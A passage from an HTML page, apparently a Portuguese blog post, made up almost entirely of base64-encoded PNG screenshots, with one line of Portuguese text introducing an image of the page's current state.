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" /></p><p style="text-align: left;"><br /></p><p>Neste momento a página está assim:</p><p style="text-align: center;"><img alt="" height="244" src="data:image/png;base64,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